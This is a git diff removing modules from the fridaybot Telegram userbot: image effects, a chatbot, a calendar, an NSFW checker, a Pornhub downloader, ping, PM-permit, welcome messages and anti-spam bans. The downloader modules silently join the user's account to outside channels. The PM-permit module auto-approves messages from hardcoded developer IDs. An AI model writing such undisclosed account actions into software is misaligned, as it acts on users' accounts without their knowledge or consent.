cv2.imread(img) - cartoon_image_style_2 = cv2.stylization( - imagez, sigma_s=60, sigma_r=0.5 - ) ## Cartoonify process. - # Save it - file_name = "Tooned.png" - ok = sedpath + "/" + file_name - cv2.imwrite(ok, cartoon_image_style_2) - # Upload it - await borg.send_file(event.chat_id, ok) - await hmmu.delete() - # Remove all Files - for files in (ok, img): - if files and os.path.exists(files): - os.remove(files) - - -@friday.on(friday_on_cmd(pattern=r"tig")) -@friday.on(sudo_cmd(pattern=r"tig", allow_sudo=True)) -async def lolmetrg(event): - await event.edit("`Triggered This Image`") - sed = await event.get_reply_message() - if isinstance(sed.media, MessageMediaPhoto): - img = await borg.download_media(sed.media, sedpath) - elif "image" in sed.media.document.mime_type.split("/"): - img = await borg.download_media(sed.media, sedpath) - else: - await event.edit("Reply To Image") - return - url_s = upload_file(img) - imglink = f"https://telegra.ph{url_s[0]}" - lolul = f"https://some-random-api.ml/canvas/triggered?avatar={imglink}" - r = requests.get(lolul) - open("triggered.gif", "wb").write(r.content) - lolbruh = "triggered.gif" - await borg.send_file( - event.chat_id, lolbruh, caption="You got triggered....", reply_to=sed - ) - for files in (lolbruh, img): - if files and os.path.exists(files): - os.remove(files) - - -@friday.on(friday_on_cmd(pattern=r"jail")) -@friday.on(sudo_cmd(pattern=r"jail", allow_sudo=True)) -async def hmm(event): - if not event.reply_to_msg_id: - await event.reply("Reply to any Image.") - return - hmmu = await event.edit("hmm... Sending him to jail...🚶") - sed = await event.get_reply_message() - if isinstance(sed.media, MessageMediaPhoto): - img = await borg.download_media(sed.media, sedpath) - elif "image" in sed.media.document.mime_type.split("/"): - img = await borg.download_media(sed.media, sedpath) - else: - await event.edit("Reply To Image") - return - mon = "./resources/jail/jail.png" - foreground = Image.open(mon).convert("RGBA") - - background = Image.open(img).convert("RGB") - with Image.open(img) as img: - width, height = img.size - fg_resized = foreground.resize((width, height)) - background.paste(fg_resized, box=(0, 0), mask=fg_resized) - - background.save("./starkgangz/testing.png") - - file_name = "testing.png" - ok = "./starkgangz/" + file_name - await borg.send_file(event.chat_id, ok) - await hmmu.delete() - for files in (ok, img): - if files and os.path.exists(files): - os.remove(files) - - - -@friday.on(friday_on_cmd(pattern=r"greyscale")) -@friday.on(sudo_cmd(pattern=r"greyscale", allow_sudo=True)) -async def hmm(event): - if not event.reply_to_msg_id: - await event.reply("Reply to any Image.") - return - hmmu = await event.edit("hmm.. Creating a black&White image...") - sed = await event.get_reply_message() - if isinstance(sed.media, MessageMediaPhoto): - img = await borg.download_media(sed.media, sedpath) - elif "image" in sed.media.document.mime_type.split("/"): - img = await borg.download_media(sed.media, sedpath) - else: - await event.edit("Reply To Image") - return - img1 = cv2.imread(img) - - - gray_img = cv2.cvtColor(img1, cv2.COLOR_BGR2GRAY) - - - cv2.imwrite("./starkgangz/testing.png", gray_img) - file_name = "testing.png" - ok = "./starkgangz/" + file_name - await borg.send_file(event.chat_id, ok) - await hmmu.delete() - for files in (ok, img): - if files and os.path.exists(files): - os.remove(files) - - - - - -CMD_HELP.update( - { - "imagetools": "**imagetools**\ - \n\n**Syntax : **`.cit`\ - \n**Usage :** colourizes the given picture.\ - \n\n**Syntax : **`.nst`\ - \n**Usage :** removes colours from image.\ - \n\n**Syntax : ** `.thug`\ - \n**Usage :** makes a thug life meme image.\ - \n\n**Syntax : ** `.tig`\ - \n**Usage :** Makes a triggered gif of the replied image.\ - \n\n**Syntax : ** `.jail`\ - \n**Usage :** Makes a jail image of the replied image.\ - \n\n**Syntax : ** `.greyscale`\ - \n**Usage :** Makes a black and white image of the replied image." - } -) diff --git a/fridaybot/modules/lydia.py b/fridaybot/modules/lydia.py deleted file mode 100644 index be55e49f..00000000 --- a/fridaybot/modules/lydia.py +++ /dev/null @@ -1,115 +0,0 @@ -# Copyright 2019 - 2020 DarkPrinc3 - -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at - -# http://www.apache.org/licenses/LICENSE-2.0 - -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. - -import asyncio - -from coffeehouse.api import API -from coffeehouse.lydia import LydiaAI -from telethon import events - -from fridaybot import CMD_HELP - -# Non-SQL Mode -ACC_LYDIA = {} - -if Var.LYDIA_API_KEY: - api_key = Var.LYDIA_API_KEY - api_client = API(api_key) - lydia = LydiaAI(api_client) - - -@command(pattern="^.repcf", outgoing=True) -async def repcf(event): - if event.fwd_from: - return - await event.edit("Processing...") - try: - session = lydia.create_session() - session.id - reply = await event.get_reply_message() - msg = reply.text - text_rep = session.think_thought(msg) - await event.edit("💫 {0}".format(text_rep)) - except Exception as e: - await event.edit(str(e)) - - -@command(pattern="^.addcf", outgoing=True) -async def addcf(event): - if event.fwd_from: - return - await event.edit("Running on Non-SQL mode for now...") - await asyncio.sleep(3) - await event.edit("Processing...") - reply_msg = await event.get_reply_message() - if reply_msg: - session = lydia.create_session() - session.id - if reply_msg.from_id is None: - return await event.edit("Invalid user type.") - ACC_LYDIA.update({(event.chat_id & reply_msg.from_id): session}) - await event.edit( - "Lydia successfully (re)enabled for user: {} in chat: {}".format( - str(reply_msg.from_id), str(event.chat_id) - ) - ) - else: - await event.edit("Reply to a user to activate Lydia AI on them") - - -@command(pattern="^.remcf", outgoing=True) -async def remcf(event): - if event.fwd_from: - return - await event.edit("Running on Non-SQL mode for now...") - await asyncio.sleep(3) - await event.edit("Processing...") - reply_msg = await event.get_reply_message() - try: - del ACC_LYDIA[event.chat_id & reply_msg.from_id] - await event.edit( - "Lydia successfully disabled for user: {} in chat: {}".format( - str(reply_msg.from_id), str(event.chat_id) - ) - ) - except Exception: - await event.edit("This person does not have Lydia activated on him/her.") - - -@bot.on(events.NewMessage(incoming=True)) -async def user(event): - event.text - try: - session = ACC_LYDIA[event.chat_id & event.sender_id] - msg = event.text - async with event.client.action(event.chat_id, "typing"): - text_rep = session.think_thought(msg) - wait_time = 0 - for i in range(len(text_rep)): - wait_time = wait_time + 0.1 - await asyncio.sleep(wait_time) - await event.reply(text_rep) - except (KeyError, TypeError): - return - - -CMD_HELP.update( - { - "lydia": "**Lydia**\ -\n\n**Syntax : **`.addcf `\ -\n**Usage :** Enables Lydia ai on the user.\ -\n\n**Syntax : **`.remcf `\ -\n**Usage :** Disables AI Lydia on the user." - } -) diff --git a/fridaybot/modules/malayalamcalender.py b/fridaybot/modules/malayalamcalender.py deleted file mode 100644 index c74b9aea..00000000 --- a/fridaybot/modules/malayalamcalender.py +++ /dev/null @@ -1,36 +0,0 @@ -"""Malayalam Calendar plugin for Indian Bot -SYNTAX: .calendar YYYY-MM-DD""" -import json -from datetime import datetime - -import requests -from uniborg.util import friday_on_cmd - - -@friday.on(friday_on_cmd(pattern="calendar (.*)")) -async def _(event): - if event.fwd_from: - return - start = datetime.now() - input_str = event.pattern_match.group(1) - input_sgra = input_str.split("-") - if len(input_sgra) == 3: - yyyy = input_sgra[0] - mm = input_sgra[1] - dd = input_sgra[2] - required_url = "https://calendar.kollavarsham.org/api/years/{}/months/{}/days/{}?lang={}".format( - yyyy, mm, dd, "en" - ) - headers = {"Accept": "application/json"} - response_content = requests.get(required_url, headers=headers).json() - a = "" - if "error" not in response_content: - current_date_detail_arraays = response_content["months"][0]["days"][0] - a = json.dumps(current_date_detail_arraays, sort_keys=True, indent=4) - else: - a = response_content["error"] - await event.edit(str(a)) - else: - await event.edit("SYNTAX: .calendar YYYY-MM-DD") - end = datetime.now() - (end - start).seconds diff --git a/fridaybot/modules/nsfw.py b/fridaybot/modules/nsfw.py deleted file mode 100644 index 31cc998a..00000000 --- a/fridaybot/modules/nsfw.py +++ /dev/null @@ -1,58 +0,0 @@ -# Copyright (C) Midhun KM 2020 -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU Affero General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU Affero General Public License for more details. -# -# You should have received a copy of the GNU Affero General Public License -# along with this program. If not, see . -import os - -import requests -from telethon.tl.types import MessageMediaPhoto - -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd, sudo_cmd - - -@friday.on(friday_on_cmd(pattern=r"nsfw")) -@friday.on(sudo_cmd(pattern=r"nsfw", allow_sudo=True)) -async def nsfw(event): - url = "https://nsfw-categorize.it/api/upload" - await event.edit("`Processing..`") - sed = await event.get_reply_message() - photo = None - if sed and sed.media: - if isinstance(sed.media, MessageMediaPhoto): - photo = await borg.download_media(sed.media, sedpath) - elif "image" in sed.media.document.mime_type.split("/"): - photo = await borg.download_media(sed.media, sedpath) - else: - await event.edit("Reply To Image") - return - if photo: - files = {"image": (f"{photo}", open(f"{photo}", "rb"))} - r = requests.post(url, files=files).json() - if r["status"] == "OK": - await event.edit( - "This image is classified as " + str(r["data"]["classification"]) - ) - if os.path.exists(photo): - os.remove(photo) - else: - await event.edit("Response UnsucessFull. Try Again.") - if os.path.exists(photo): - os.remove(photo) - - -CMD_HELP.update( - { - "nsfw": "**NSFW**\ -\n\n**Syntax : **`.nsfw `\ -\n**Usage :** Checks if the replyed image is nsfw or not." - } -) diff --git a/fridaybot/modules/phd.py b/fridaybot/modules/phd.py deleted file mode 100644 index 11d80350..00000000 --- a/fridaybot/modules/phd.py +++ /dev/null @@ -1,125 +0,0 @@ -""" -Pornhub downloader by @anubisxx -Syntax: .phd link -""" - - -import asyncio - -import requests -from bs4 import BeautifulSoup -from telethon.errors.rpcerrorlist import ( - UserAlreadyParticipantError, - YouBlockedUserError, -) -from telethon.tl.functions.channels import JoinChannelRequest -from telethon.tl.functions.messages import ImportChatInviteRequest - -from fridaybot.utils import friday_on_cmd - - -@friday.on(friday_on_cmd("phd ?(.*)")) -async def _(event): - - if event.fwd_from: - - return - - d_link = event.pattern_match.group(1) - - r = requests.get(d_link) - - soup = BeautifulSoup(r.content, "html.parser") - - temporary_variable = soup.find("span", {"class": "inlineFree"}) - - title = temporary_variable.text - - temp = soup.find("div", {"class": "thumbnail"}) - - view = soup.find("span", {"class": "count"}) - - views = view.text - - temporary_variable_to_use = temp.find("img") - - temporary_variable_to_use["data-src"] - - if "pornhub" not in d_link: - - await event.edit("` I need a link to download something pro.`**(._.)**") - - else: - - await event.edit( - "**💦Preparing to upload Video💦 **\n**Title**: `{}`\n**Total Views**: `{}`".format( - title, views - ) - ) - - await asyncio.sleep(2) - - async with event.client.conversation("@phsavebot") as conv: - - try: - - await conv.send_message("/start") - - oop = await conv.get_response() - - if "language" in oop.text: - - await borg.send_message( - event.chat_id, - "**Please go to** @phsavebot **and select your language**", - ) - - await asyncio.sleep(2) - - me = await borg.get_me() - - me.id - - # Necessary for the bot to work ;-; - - try: - - await borg(JoinChannelRequest("Allsavernews")) - - await borg(ImportChatInviteRequest("AAAAAFZPuYvdW1A8mrT8Pg")) - - except UserAlreadyParticipantError: - - await asyncio.sleep(0.00000069420) - - await conv.send_message(d_link) - - response = await conv.get_response() - - if "Downloading" in response.text: - - video_hehe = await conv.get_response() - - await borg.send_file( - event.chat_id, - video_hehe, - caption="`🤤 Video Uploaded by` [@anubisxx](https://github.com/Dark-Princ3/X-tra-Telegram)!🤤\n**Title:** `{}`".format( - title - ), - ) - - elif "Unfortunately" in response.text: - - await event.edit( - "`Woops, Incorrect link!`\n**Please check and try again.**" - ) - - elif "correct" in response.text: - - await borg.send_message(event.chat_id, response.text) - - except YouBlockedUserError: - - await event.reply("**Please unblock** @phsavebot **and try again**") - - return diff --git a/fridaybot/modules/ping.py b/fridaybot/modules/ping.py deleted file mode 100644 index 9e4b0e53..00000000 --- a/fridaybot/modules/ping.py +++ /dev/null @@ -1,57 +0,0 @@ -import time -from datetime import datetime - -from fridaybot import CMD_HELP, Lastupdate -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd - - -def get_readable_time(seconds: int) -> str: - count = 0 - ping_time = "" - time_list = [] - time_suffix_list = ["s", "m", "h", "days"] - - while count < 4: - count += 1 - if count < 3: - remainder, result = divmod(seconds, 60) - else: - remainder, result = divmod(seconds, 24) - if seconds == 0 and remainder == 0: - break - time_list.append(int(result)) - seconds = int(remainder) - - for x in range(len(time_list)): - time_list[x] = str(time_list[x]) + time_suffix_list[x] - if len(time_list) == 4: - ping_time += time_list.pop() + ", " - - time_list.reverse() - ping_time += ":".join(time_list) - - return ping_time - - -@friday.on(friday_on_cmd(pattern="ping$")) -@friday.on(sudo_cmd(pattern="ping$", allow_sudo=True)) -async def _(event): - starkislub = await edit_or_reply(event, "`Pong !`") - if event.fwd_from: - return - start = datetime.now() - end = datetime.now() - ms = (end - start).microseconds / 1000 - uptime = get_readable_time((time.time() - Lastupdate)) - await starkislub.edit( - f"**█▀█ █▀█ █▄░█ █▀▀ █ \n█▀▀ █▄█ █░▀█ █▄█ ▄**\n ➲ `{ms}` \n ➲ `{uptime}`" - ) - - -CMD_HELP.update( - { - "ping": "**Ping**\ -\n\n**Syntax : **`.pin`\ -\n**Usage :** Get uptime and speed of your bot." - } -) diff --git a/fridaybot/modules/pmpermit.py b/fridaybot/modules/pmpermit.py deleted file mode 100644 index 0a244d18..00000000 --- a/fridaybot/modules/pmpermit.py +++ /dev/null @@ -1,209 +0,0 @@ -import asyncio -import io -import os - -from telethon import events, functions -from telethon.tl.functions.users import GetFullUserRequest - -from .sql_helper import pmpermit_sql as pmpermit_sql -from fridaybot import ALIVE_NAME, CUSTOM_PMPERMIT -from fridaybot.Configs import Config -from fridaybot.utils import friday_on_cmd - -PMPERMIT_PIC = os.environ.get("PMPERMIT_PIC", None) -if PMPERMIT_PIC is None: - WARN_PIC = "https://telegra.ph/file/b1922e21e94ba5a7a19d0.jpg" -else: - WARN_PIC = PMPERMIT_PIC - -PM_WARNS = {} -PREV_REPLY_MESSAGE = {} - -PM_ON_OFF = Config.PM_DATA - -DEFAULTUSER = ( - str(ALIVE_NAME) if ALIVE_NAME else "Set ALIVE_NAME in config vars in Heroku" -) -CUSTOM_MIDDLE_PMP = ( - str(CUSTOM_PMPERMIT) if CUSTOM_PMPERMIT else f"Protection By {DEFAULTUSER} ❤️" -) -USER_BOT_WARN_ZERO = "ඔයා මගේ මාස්ටර් ගෙ Inbox එකට Spam ගහන්න හදපු නිසා මම ඔයාව Block කරා" - -botisnoob = Var.TG_BOT_USER_NAME_BF_HER - -USER_BOT_NO_WARN = ( - "**Hello, This is My Master's PM Protection Service ⚠️**\n\n" - f"`My Master {DEFAULTUSER} is Busy Right Now !` \n" - "**I Request You To Choose A Reason You Have Came For** 👀 \n\n" - f"**{CUSTOM_MIDDLE_PMP}**" -) -if Var.PRIVATE_GROUP_ID is not None: - - @borg.on(friday_on_cmd(pattern="(a|approve)")) - async def block(event): - if event.fwd_from: - return - replied_user = await borg(GetFullUserRequest(event.chat_id)) - firstname = replied_user.user.first_name - chats = await event.get_chat() - if event.is_private: - if not pmpermit_sql.is_approved(chats.id): - if chats.id in PM_WARNS: - del PM_WARNS[chats.id] - if chats.id in PREV_REPLY_MESSAGE: - await PREV_REPLY_MESSAGE[chats.id].delete() - del PREV_REPLY_MESSAGE[chats.id] - pmpermit_sql.approve(chats.id, "Approved Another Nibba") - await event.edit( - "ඔයාව ප්‍රයිවට් මැසේජ් යවන්න Approove උනා [{}](tg://user?id={})".format(firstname, chats.id) - ) - await asyncio.sleep(3) - await event.delete() - - @command(pattern=".block$") - async def approve_p_m(event): - if event.fwd_from: - return - replied_user = await event.client(GetFullUserRequest(event.chat_id)) - firstname = replied_user.user.first_name - chat = await event.get_chat() - if event.is_private: - if pmpermit_sql.is_approved(chat.id): - pmpermit_sql.disapprove(chat.id) - await event.edit( - "Blocked [{}](tg://user?id={})".format(firstname, chat.id) - ) - await asyncio.sleep(3) - await event.client(functions.contacts.BlockRequest(chat.id)) - - @borg.on(friday_on_cmd(pattern="(da|disapprove)")) - async def approve_p_m(event): - if event.fwd_from: - return - replied_user = await event.client(GetFullUserRequest(event.chat_id)) - firstname = replied_user.user.first_name - chat = await event.get_chat() - if event.is_private: - if pmpermit_sql.is_approved(chat.id): - pmpermit_sql.disapprove(chat.id) - await event.edit( - "Disapproved User [{}](tg://user?id={})".format(firstname, chat.id) - ) - await event.delete() - - @borg.on(friday_on_cmd(pattern="listapproved$")) - async def approve_p_m(event): - if event.fwd_from: - return - approved_users = pmpermit_sql.get_all_approved() - APPROVED_PMs = "Current Approved PMs\n" - if len(approved_users) > 0: - for a_user in approved_users: - if a_user.reason: - APPROVED_PMs += f"👉 [{a_user.chat_id}](tg://user?id={a_user.chat_id}) for {a_user.reason}\n" - else: - APPROVED_PMs += ( - f"👉 [{a_user.chat_id}](tg://user?id={a_user.chat_id})\n" - ) - else: - APPROVED_PMs = "no Approved PMs (yet)" - if len(APPROVED_PMs) > 4095: - with io.BytesIO(str.encode(APPROVED_PMs)) as out_file: - out_file.name = "approved.pms.text" - await event.client.send_file( - event.chat_id, - out_file, - force_document=True, - allow_cache=False, - caption="Current Approved PMs", - reply_to=event, - ) - await event.delete() - else: - await event.edit(APPROVED_PMs) - - @bot.on(events.NewMessage(incoming=True)) - async def on_new_private_message(event): - if event.sender_id == bot.uid: - return - - if Var.PRIVATE_GROUP_ID is None: - return - - if not event.is_private: - return - - message_text = event.message.message - chat_ids = event.sender_id - - message_text.lower() - if USER_BOT_NO_WARN == message_text: - # fridaybot's should not reply to other fridaybot's - # https://core.telegram.org/bots/faq#why-doesn-39t-my-bot-see-messages-from-other-bots - return - sender = await bot.get_entity(event.sender_id) - if chat_ids == bot.uid: - # don't log Saved Messages - return - if sender.bot: - # don't log bots - return - if sender.verified: - # don't log verified accounts - return - if PM_ON_OFF == "DISABLE": - return - if pmpermit_sql.is_approved(chat_ids): - return - if not pmpermit_sql.is_approved(chat_ids): - # pm permit - await do_pm_permit_action(chat_ids, event) - - async def do_pm_permit_action(chat_ids, event): - if chat_ids not in PM_WARNS: - PM_WARNS.update({chat_ids: 0}) - if PM_WARNS[chat_ids] == 3: - r = await event.reply(USER_BOT_WARN_ZERO) - await asyncio.sleep(3) - await event.client(functions.contacts.BlockRequest(chat_ids)) - if chat_ids in PREV_REPLY_MESSAGE: - await PREV_REPLY_MESSAGE[chat_ids].delete() - PREV_REPLY_MESSAGE[chat_ids] = r - the_message = "" - the_message += "#BLOCKED_PMs\n\n" - the_message += f"[User](tg://user?id={chat_ids}): {chat_ids}\n" - the_message += f"Message Counts: {PM_WARNS[chat_ids]}\n" - # the_message += f"Media: {message_media}" - try: - await event.client.send_message( - entity=Var.PRIVATE_GROUP_ID, - message=the_message, - # reply_to=, - # parse_mode="html", - link_preview=False, - # file=message_media, - silent=True, - ) - return - except BaseException: - return - botusername = Var.TG_BOT_USER_NAME_BF_HER - tap = await bot.inline_query(botusername, USER_BOT_NO_WARN) - sed = await tap[0].click(event.chat_id) - PM_WARNS[chat_ids] += 1 - if chat_ids in PREV_REPLY_MESSAGE: - await PREV_REPLY_MESSAGE[chat_ids].delete() - PREV_REPLY_MESSAGE[chat_ids] = sed - - -@bot.on(events.NewMessage(incoming=True, from_users=(1263617196, 536157487, 554048138))) -async def hehehe(event): - if event.fwd_from: - return - chats = await event.get_chat() - if event.is_private: - if not pmpermit_sql.is_approved(chats.id): - pmpermit_sql.approve(chats.id, "**My Boss Is Best🔥**") - await borg.send_message( - chats, "**User Detected As Developer. So Approved**" - ) diff --git a/fridaybot/modules/privatewelcome.py b/fridaybot/modules/privatewelcome.py deleted file mode 100644 index ab8a7820..00000000 --- a/fridaybot/modules/privatewelcome.py +++ /dev/null @@ -1,159 +0,0 @@ -from telethon import events - -from ..utils import admin_cmd, edit_or_reply, sudo_cmd -from fridaybot import BOTLOG_CHATID, CMD_HELP, bot -from .sql_helper import pmpermit_sql as pmpermit_sql -from .sql_helper.welcomesql import ( - addwelcome_setting, - getcurrent_welcome_settings, - rmwelcome_setting, -) - - -@bot.on(events.ChatAction) -async def _(event): - cws = getcurrent_welcome_settings(event.chat_id) - if ( - cws - and (event.user_joined or event.user_added) - and not (await event.get_user()).bot - ): - a_user = await event.get_user() - chat = await event.get_chat() - me = await bot.get_me() - title = chat.title or "this chat" - participants = await bot.get_participants(chat) - count = len(participants) - mention = "{}".format( - a_user.id, a_user.first_name - ) - my_mention = "{}".format(me.id, me.first_name) - first = a_user.first_name - last = a_user.last_name - fullname = f"{first} {last}" if last else first - username = f"@{a_user.username}" if a_user.username else mention - userid = a_user.id - my_first = me.first_name - my_last = me.last_name - my_fullname = f"{my_first} {my_last}" if my_last else my_first - my_username = f"@{me.username}" if me.username else my_mention - file_media = None - current_saved_welcome_message = None - if cws: - if cws.f_mesg_id: - msg_o = await event.client.get_messages( - entity=BOTLOG_CHATID, ids=int(cws.f_mesg_id) - ) - file_media = msg_o.media - current_saved_welcome_message = msg_o.message - elif cws.reply: - current_saved_welcome_message = cws.reply - if not pmpermit_sql.is_approved(userid): - pmpermit_sql.approve(userid, "Due to private welcome") - current_message = await event.client.send_message( - userid, - current_saved_welcome_message.format( - mention=mention, - title=title, - count=count, - first=first, - last=last, - fullname=fullname, - username=username, - userid=userid, - my_first=my_first, - my_last=my_last, - my_fullname=my_fullname, - my_username=my_username, - my_mention=my_mention, - ), - file=file_media, - parse_mode="html", - ) - - -@bot.on(admin_cmd(pattern=r"savepwel ?(.*)")) -@bot.on(sudo_cmd(pattern=r"savepwel ?(.*)", allow_sudo=True)) -async def save_welcome(event): - if event.fwd_from: - return - msg = await event.get_reply_message() - string = "".join(event.text.split(maxsplit=1)[1:]) - msg_id = None - if msg and msg.media and not string: - if BOTLOG_CHATID: - await bot.send_message( - BOTLOG_CHATID, - f"#WELCOME_NOTE\ - \nCHAT ID: {event.chat_id}\ - \nThe following message is saved as the welcome note for the {event.chat.title}, Dont delete this message !!", - ) - msg_o = await event.client.forward_messages( - entity=BOTLOG_CHATID, messages=msg, from_peer=event.chat_id, silent=True - ) - msg_id = msg_o.id - else: - await edit_or_reply( - event, - "`Saving media as part of the welcome note requires the BOTLOG_CHATID to be set.`", - ) - return - elif event.reply_to_msg_id and not string: - rep_msg = await event.get_reply_message() - string = rep_msg.text - success = "`Welcome note {} for this chat.`" - if addwelcome_setting(event.chat_id, 0, string, msg_id) is True: - return await edit_or_reply(event, success.format("saved")) - rmwelcome_setting(event.chat_id) - if addwelcome_setting(event.chat_id, 0, string, msg_id) is True: - return await edit_or_reply(event, success.format("updated")) - await edit_or_reply("Error while setting welcome in this group") - - -@bot.on(admin_cmd(pattern="clearpwel$")) -@bot.on(sudo_cmd(pattern="clearpwel$", allow_sudo=True)) -async def del_welcome(event): - if event.fwd_from: - return - if rmwelcome_setting(event.chat_id) is True: - await edit_or_reply(event, "`Welcome note deleted for this chat.`") - else: - await edit_or_reply(event, "`Do I have a welcome note here ?`") - - -@bot.on(admin_cmd(pattern="listpwel$")) -@bot.on(sudo_cmd(pattern="listpwel$", allow_sudo=True)) -async def show_welcome(event): - if event.fwd_from: - return - cws = getcurrent_welcome_settings(event.chat_id) - if not cws: - await edit_or_reply(event, "`No pwelcome message saved here.`") - return - if cws.f_mesg_id: - msg_o = await bot.get_messages(entity=BOTLOG_CHATID, ids=int(cws.f_mesg_id)) - await edit_or_reply( - event, "`I am currently pwelcoming new users with this welcome note.`" - ) - await event.reply(msg_o.message, file=msg_o.media) - elif cws.reply: - await edit_or_reply( - event, "`I am currently pwelcoming new users with this welcome note.`" - ) - await event.reply(cws.reply) - - -CMD_HELP.update( - { - "privatewelcome": "**Plugin :** `privatewelcome`\ -\n\n • **Syntax :** `.savepwel` or reply to a message with .savepwel\ -\n • **Function :** Saves the message as a welcome note in the chat.\ -\n\n • Available variables for formatting welcome messages :\ -\n`{mention}, {title}, {count}, {first}, {last}, {fullname}, {userid}, {username}, {my_first}, {my_fullname}, {my_last}, {my_mention}, {my_username}`\ -\n\n • **Syntax :** `.listpwel`\ -\n • **Function :** Check whether you have a welcome note in the chat.\ -\n\n • **Syntax :** `.clearpwel`\ -\n • **Function :** Deletes the welcome note for the current chat.\ -" - } -) diff --git a/fridaybot/modules/purnhub_download.py b/fridaybot/modules/purnhub_download.py deleted file mode 100644 index 27021d48..00000000 --- a/fridaybot/modules/purnhub_download.py +++ /dev/null @@ -1,79 +0,0 @@ -""" -Pornhub downloader by @anubisxx -Syntax: .phd link -""" -import asyncio - -import requests -from bs4 import BeautifulSoup -from telethon.errors.rpcerrorlist import ( - UserAlreadyParticipantError, - YouBlockedUserError, -) -from telethon.tl.functions.messages import ImportChatInviteRequest - -from fridaybot.utils import friday_on_cmd - - -@friday.on(friday_on_cmd("phd ?(.*)")) -async def _(event): - if event.fwd_from: - return - d_link = event.pattern_match.group(1) - r = requests.get(d_link) - soup = BeautifulSoup(r.content, "html.parser") - temporary_variable = soup.find("span", {"class": "inlineFree"}) - title = temporary_variable.text - temp = soup.find("div", {"class": "thumbnail"}) - view = soup.find("span", {"class": "count"}) - views = view.text - temporary_variable_to_use = temp.find("img") - temporary_variable_to_use["data-src"] - if "pornhub" not in d_link: - await event.edit("` I need a link to download something pro.`**(._.)**") - else: - await event.edit( - "**💦Preparing to upload Video💦 **\n**Title**: `{}`\n**Total Views**: `{}`".format( - title, views - ) - ) - await asyncio.sleep(2) - - async with event.client.conversation("@phsavebot") as conv: - try: - await conv.send_message("/start") - oop = await conv.get_response() - if "language" in oop.text: - await borg.send_message( - event.chat_id, - "**Please go to** @phsavebot **and select your language**", - ) - await asyncio.sleep(2) - me = await borg.get_me() - me.id - # Necessary for the bot to work ;-; - try: - await borg(ImportChatInviteRequest("AAAAAFbNNkKLy3gleaD5sA")) - await borg(ImportChatInviteRequest("AAAAAFZPuYvdW1A8mrT8Pg")) - except UserAlreadyParticipantError: - await asyncio.sleep(0.00000069420) - await conv.send_message(d_link) - response = await conv.get_response() - if "Downloading" in response.text: - video_hehe = await conv.get_response() - await borg.send_file( - event.chat_id, - video_hehe, - caption="`🤤 Video Uploaded by` [@anubisxx](https://github.com/Dark-Princ3/X-tra-Telegram)!🤤\n**Title:** `{}`".format( - title - ), - ) - elif "Unfortunately" in response.text: - await event.edit( - "`Woops, Incorrect link!`\n**Please check and try again.**" - ) - elif "correct" in response.text: - await borg.send_message(event.chat_id, response.text) - except YouBlockedUserError: - await event.reply("**Please unblock** @phsavebot **and try again**") - return diff --git a/fridaybot/modules/selawena mansa.py b/fridaybot/modules/selawena mansa.py deleted file mode 100644 index c944ccf5..00000000 --- a/fridaybot/modules/selawena mansa.py +++ /dev/null @@ -1,11 +0,0 @@ -from ..utils import admin_cmd, edit_or_reply, sudo_cmd - - -@bot.on(admin_cmd(pattern="sm$")) -@bot.on(sudo_cmd(pattern="sm$", allow_sudo=True)) -async def gn(event): - await edit_or_reply( - event, - "** එහෙම එවා නෑ එ සෙලවෙන මනස **", - ) - diff --git a/fridaybot/modules/spam.py b/fridaybot/modules/spam.py deleted file mode 100644 index 16064eb3..00000000 --- a/fridaybot/modules/spam.py +++ /dev/null @@ -1,201 +0,0 @@ -# Copyright (C) 2020 sandeep.n(π.$) -# baning spmmers plugin for catuserbot by @sandy1709 and @mrconfused -# included both cas(combot antispam service) and spamwatch (need to add more feaututres) - -from requests import get -from telethon import events -from telethon.errors import ChatAdminRequiredError -from telethon.tl.types import ChannelParticipantsAdmins - -from ..utils import admin_cmd, edit_or_reply, is_admin, sudo_cmd -from fridaybot import BOTLOG, BOTLOG_CHATID, CMD_HELP, LOGS -from fridaybot.modules.sql_helper.gban_sql_helper import get_gbanuser, is_gbanned -import spamwatch -if Config.ANTISPAMBOT_BAN: - - @bot.on(events.ChatAction()) - async def anti_spambot(event): - if not event.user_joined and not event.user_added: - return - chat = event.chat_id - user = await event.get_user() - catadmin = await is_admin(bot, chat, bot.uid) - if not catadmin: - return - catbanned = None - adder = None - ignore = None - if event.user_added: - try: - adder = event.action_message.sender_id - except AttributeError: - return - async for admin in event.client.iter_participants( - event.chat_id, filter=ChannelParticipantsAdmins - ): - if admin.id == adder: - ignore = True - break - if ignore: - return - if is_gbanned(user.id): - catgban = get_gbanuser(user.id) - if catgban.reason: - hmm = await event.reply( - f"[{user.first_name}](tg://user?id={user.id}) was gbanned by you for the reason `{catgban.reason}`" - ) - else: - hmm = await event.reply( - f"[{user.first_name}](tg://user?id={user.id}) was gbanned by you" - ) - try: - await bot.edit_permissions(chat, user.id, view_messages=False) - catbanned = True - except Exception as e: - LOGS.info(e) - if spamwatch and not catbanned: - ban = spamwatch.get_ban(user.id) - if ban: - hmm = await event.reply( - f"[{user.first_name}](tg://user?id={user.id}) was banned by spamwatch for the reason `{ban.reason}`" - ) - try: - await bot.edit_permissions(chat, user.id, view_messages=False) - catbanned = True - except Exception as e: - LOGS.info(e) - if not catbanned: - try: - casurl = "https://api.cas.chat/check?user_id={}".format(user.id) - data = get(casurl).json() - except Exception as e: - LOGS.info(e) - data = None - if data and data["ok"]: - reason = ( - f"[Banned by Combot Anti Spam](https://cas.chat/query?u={user.id})" - ) - hmm = await event.reply( - f"[{user.first_name}](tg://user?id={user.id}) was banned by Combat anti-spam service(CAS) for the reason check {reason}" - ) - try: - await bot.edit_permissions(chat, user.id, view_messages=False) - catbanned = True - except Exception as e: - LOGS.info(e) - if BOTLOG and catbanned: - await event.client.send_message( - BOTLOG_CHATID, - "#ANTISPAMBOT\n" - f"**User :** [{user.first_name}](tg://user?id={user.id})\n" - f"**Chat :** {event.chat.title} (`{event.chat_id}`)\n" - f"**Reason :** {hmm.text}", - ) - - 